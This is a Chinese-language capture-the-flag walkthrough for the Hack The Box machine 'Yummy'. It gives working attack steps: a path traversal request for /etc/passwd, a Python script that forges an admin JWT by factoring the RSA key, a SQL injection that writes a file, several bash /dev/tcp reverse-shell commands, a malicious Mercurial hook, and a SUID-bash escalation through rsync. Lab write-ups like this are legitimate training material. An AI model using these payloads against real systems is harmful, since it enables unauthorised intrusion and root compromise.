Yummy(HTB Hard)

基本信息

  • IP:10.10.11.36
  • VPN:10.10.16.3
  • 域名:yummy.htb

信息收集

修改 /etc/hosts 后扫描:

rustscan -a 10.10.11.36 -- -sCTV
nmap -sC -sV -Pn -T4 10.10.11.36
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.5
80/tcp open  http    Caddy httpd
|_http-title: Yummy

前端用 JWT。预订套餐有下载功能,重放失败(有 token)。拦截后改下载路径做目录穿越:

GET /export/../../../../../../etc/passwd HTTP/1.1
Host: yummy.htb
Cookie: X-AUTH-Token=<jwt>; session=<session>

同时可读 /etc/crontab。定时任务:

*/1 * * * * www-data /bin/bash /data/scripts/app_backup.sh
*/15 * * * * mysql /bin/bash /data/scripts/table_cleanup.sh
* * * * * mysql /bin/bash /data/scripts/dbmonitor.sh

继续穿越下载脚本:

/export/../../data/scripts/app_backup.sh
/export/../../data/scripts/table_cleanup.sh
/export/../../data/scripts/dbmonitor.sh
/export/../../../../../../var/www/backupapp.zip
/export/../../data/scripts/sqlappointments.sql

dbmonitor.sh 是拿 mysql shell 的关键。源码里有 /admindashboard 和 validate_login(),需要伪造 JWT。

User

伪造管理员 JWT:

import base64
import json
import jwt
from Crypto.PublicKey import RSA
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
import sympy

jwt_token = input("YOUR_JWT_TOKEN:")

def apply_padding(encoded_str):
    while len(encoded_str) % 4 != 0:
        encoded_str += '='
    return encoded_str

def decode_base64_url(input_str):
    input_str = apply_padding(input_str)
    input_str = input_str.replace('-', '+').replace('_', '/')
    return base64.b64decode(input_str)

decoded_payload = json.loads(decode_base64_url(jwt_token.split(".")[1]).decode())
modulus_n = int(decoded_payload["jwk"]['n'])
prime_p, prime_q = list((sympy.factorint(modulus_n)).keys())
public_exp = 65537
totient_n = (prime_p - 1) * (prime_q - 1)
private_exp = pow(public_exp, -1, totient_n)
rsa_key_data = {'n': modulus_n, 'e': public_exp, 'd': private_exp, 'p': prime_p, 'q': prime_q}
rsa_key = RSA.construct((rsa_key_data['n'], rsa_key_data['e'], rsa_key_data['d'], rsa_key_data['p'], rsa_key_data['q']))
pem_private_key = rsa_key.export_key()

loaded_private_key = serialization.load_pem_private_key(
    pem_private_key,
    password=None,
    backend=default_backend()
)
rsa_public_key = loaded_private_key.public_key()

decoded_jwt_data = jwt.decode(jwt_token, rsa_public_key, algorithms=["RS256"])
decoded_jwt_data["role"] = "administrator"
updated_token = jwt.encode(decoded_jwt_data, loaded_private_key, algorithm="RS256")
print(updated_token)

访问 /admindashboard?s=2&o=ASC,o 参数可 SQL 注入(加引号报 1064)。写文件反弹:

bash -i >& /dev/tcp/10.10.16.4/4444 0>&1
nc -lnvp 4444

带伪造 token 访问(记得替换 token):

http://yummy.htb/admindashboard?s=test&o=ASC%3B+SELECT+%22bash+-i+%3E%26+%2Fdev%2Ftcp%2F10.10.16.4%2F4444+0%3E%261%22+INTO+OUTFILE+%27/data/scripts/fixer-v5%27%3B
http://yummy.htb/admindashboard?s=test&o=ASC%3B+SELECT+%22Database+is%22+INTO+OUTFILE+%27/data/scripts/dbstatus.json%27%3B
id
uid=110(mysql) gid=110(mysql) groups=110(mysql)

app_backup.sh 每分钟执行,覆盖它升到 www-data:

echo 'bash -i >& /dev/tcp/10.10.16.4/4444 0>&1' >> test.sh
mv test.sh app_backup.sh
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

/var/www 下隐藏目录 app-qatesting:

find /var/www/app-qatesting/.hg -name "*.*" 2>/dev/null | xargs grep pass
'user': 'qa',
'password': 'jPAd!XQCtn8Oc@2B'
ssh [email protected]
sudo -l
/usr/bin/hg pull /home/dev/app-production/

本地拉仓库会报:

abort: Permission denied: '/home/dev/app-production/.hg'

Root

hg pull 会读 .hg/hgrc 的 hook,sudo 以 dev 身份执行。写 hook 反弹:

nc -lnvp 7779
cd /tmp
mkdir .hg
chmod 777 .hg
cp ~/.hgrc .hg/hgrc
echo "[hooks]" >> /tmp/.hg/hgrc
echo "post-pull = /tmp/revshell.sh" >> /tmp/.hg/hgrc
echo "bash -c 'bash -i >& /dev/tcp/10.10.16.4/7779 0>&1'" > /tmp/revshell.sh
chmod +x /tmp/revshell.sh
sudo -u dev /usr/bin/hg pull /home/dev/app-production/

拿到 dev 后:

sudo -l
(root : root) NOPASSWD: /usr/bin/rsync -a --exclude\=.hg /home/dev/app-production/* /opt/app/
cd /home/dev/
cp /bin/bash app-production/bash
chmod u+s app-production/bash
sudo /usr/bin/rsync -a --exclude=.hg /home/dev/app-production/* --chown root:root /opt/app/
/opt/app/bash -p

至此已经获取全部机器权限。